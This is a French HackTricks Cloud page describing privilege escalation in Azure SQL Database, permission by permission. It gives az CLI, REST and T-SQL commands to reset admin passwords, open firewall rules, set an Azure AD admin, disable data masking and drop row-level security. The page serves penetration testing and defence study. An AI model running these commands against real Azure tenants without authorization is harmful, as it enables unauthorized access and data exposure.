Az - SQL Database Privesc
Reading time: 6 minutes
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
SQL Database Privesc
Pour plus d'informations sur SQL Database, consultez :
Microsoft.Sql/servers/read
&& Microsoft.Sql/servers/write
Avec ces permissions, un utilisateur peut effectuer une élévation de privilèges en mettant à jour ou en créant des serveurs SQL Azure et en modifiant des configurations critiques, y compris les identifiants administratifs. Cette permission permet à l'utilisateur de mettre à jour les propriétés du serveur, y compris le mot de passe administrateur du serveur SQL, permettant un accès ou un contrôle non autorisé sur le serveur. Ils peuvent également créer de nouveaux serveurs, introduisant potentiellement une infrastructure fantôme à des fins malveillantes. Cela devient particulièrement critique dans les environnements où "Microsoft Entra Authentication Only" est désactivé, car ils peuvent exploiter l'authentification basée sur SQL pour obtenir un accès illimité.
# Change the server password
az sql server update \
--name <server_name> \
--resource-group <resource_group_name> \
--admin-password <new_password>
# Create a new server
az sql server create \
--name <new_server_name> \
--resource-group <resource_group_name> \
--location <location> \
--admin-user <admin_username> \
--admin-password <admin_passwor d>
De plus, il est nécessaire d'avoir l'accès public activé si vous souhaitez accéder depuis un point de terminaison non privé, pour l'activer :
az sql server update \
--name <server-name> \
--resource-group <resource-group> \
--enable-public-network true
De plus, avec les autorisations, vous pouvez activer l'identité assignée, et opérer avec l'identité gérée attachée au serveur. Par exemple ici avec une identité gérée qui peut accéder à Azure Storage :
az sql server update \
--name <server-name> \
--resource-group <resource-group> \
--assign_identity
CREATE DATABASE SCOPED CREDENTIAL [ManagedIdentityCredential]
WITH IDENTITY = 'Managed Identity';
GO
CREATE EXTERNAL DATA SOURCE ManagedIdentity
WITH (
TYPE = BLOB_STORAGE,
LOCATION = 'https://<storage-account>.blob.core.windows.net/<container>',
CREDENTIAL = ManagedIdentityCredential
);
GO
SELECT *
FROM OPENROWSET(
BULK 'message.txt',
DATA_SOURCE = 'ManagedIdentity',
SINGLE_CLOB
) AS DataFile;
GO
Microsoft.Sql/servers/firewallRules/write
Un attaquant peut manipuler les règles de pare-feu sur les serveurs Azure SQL pour permettre un accès non autorisé. Cela peut être exploité pour ouvrir le serveur à des adresses IP spécifiques ou à des plages d'IP entières, y compris des IP publiques, permettant l'accès à des acteurs malveillants. Cette activité post-exploitation peut être utilisée pour contourner les contrôles de sécurité réseau existants, établir une persistance ou faciliter le mouvement latéral au sein de l'environnement en exposant des ressources sensibles.
# Create Firewall Rule
az sql server firewall-rule create \
--name <new-firewall-rule-name> \
--server <server-name> \
--resource-group <resource-group> \
--start-ip-address <start-ip-address> \
--end-ip-address <end-ip-address>
# Update Firewall Rule
az sql server firewall-rule update \
--name <firewall-rule-name> \
--server <server-name> \
--resource-group <resource-group> \
--start-ip-address <new-start-ip-address> \
--end-ip-address <new-end-ip-address>
De plus, la permission Microsoft.Sql/servers/outboundFirewallRules/delete
vous permet de supprimer une règle de pare-feu.
REMARQUE : Il est nécessaire d'avoir l'accès public activé.
Microsoft.Sql/servers/ipv6FirewallRules/write
Avec cette permission, vous pouvez créer, modifier ou supprimer des règles de pare-feu IPv6 sur un serveur SQL Azure. Cela pourrait permettre à un attaquant ou à un utilisateur autorisé de contourner les configurations de sécurité réseau existantes et d'accéder de manière non autorisée au serveur. En ajoutant une règle qui permet le trafic de n'importe quelle adresse IPv6, l'attaquant pourrait ouvrir le serveur à un accès externe.
az sql server firewall-rule create \
--server <server_name> \
--resource-group <resource_group_name> \
--name <rule_name> \
--start-ip-address <start_ipv6_address> \
--end-ip-address <end_ipv6_address>
De plus, la permission Microsoft.Sql/servers/ipv6FirewallRules/delete
vous permet de supprimer une règle de pare-feu.
REMARQUE : Il est nécessaire d'avoir l'accès public activé.
Microsoft.Sql/servers/administrators/write
&& Microsoft.Sql/servers/administrators/read
Avec ces permissions, vous pouvez privesc dans un environnement Azure SQL Server en accédant aux bases de données SQL et en récupérant des informations critiques. En utilisant la commande ci-dessous, un attaquant ou un utilisateur autorisé peut se définir ou définir un autre compte comme administrateur Azure AD. Si "Microsoft Entra Authentication Only" est activé, vous pouvez accéder au serveur et à ses instances. Voici la commande pour définir l'administrateur Azure AD pour un serveur SQL :
az sql server ad-admin create \
--server <server_name> \
--resource-group <resource_group_name> \
--display-name <admin_display_name> \
--object-id <azure_subscribtion_id>
Microsoft.Sql/servers/azureADOnlyAuthentications/write
&& Microsoft.Sql/servers/azureADOnlyAuthentications/read
Avec ces autorisations, vous pouvez configurer et appliquer "Authentification uniquement Microsoft Entra" sur un serveur SQL Azure, ce qui pourrait faciliter l'escalade de privilèges dans certains scénarios. Un attaquant ou un utilisateur autorisé avec ces autorisations peut activer ou désactiver l'authentification uniquement Azure AD.
#Enable
az sql server azure-ad-only-auth enable \
--server <server_name> \
--resource-group <resource_group_name>
#Disable
az sql server azure-ad-only-auth disable \
--server <server_name> \
--resource-group <resource_group_name>
Microsoft.Sql/servers/databases/dataMaskingPolicies/write
Modifiez (ou désactivez) les politiques de masquage des données sur vos bases de données SQL.
az rest --method put \
--uri "https://management.azure.com/subscriptions/<your-subscription-id>/resourceGroups/<your-resource-group>/providers/Microsoft.Sql/servers/<your-server>/databases/<your-database>/dataMaskingPolicies/Default?api-version=2021-11-01" \
--body '{
"properties": {
"dataMaskingState": "Disable"
}
}'
Supprimer la sécurité au niveau des lignes
Si vous vous connectez en tant qu'admin, vous pouvez supprimer les politiques de l'admin lui-même et d'autres utilisateurs.
DROP SECURITY POLICY [Name_of_policy];
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.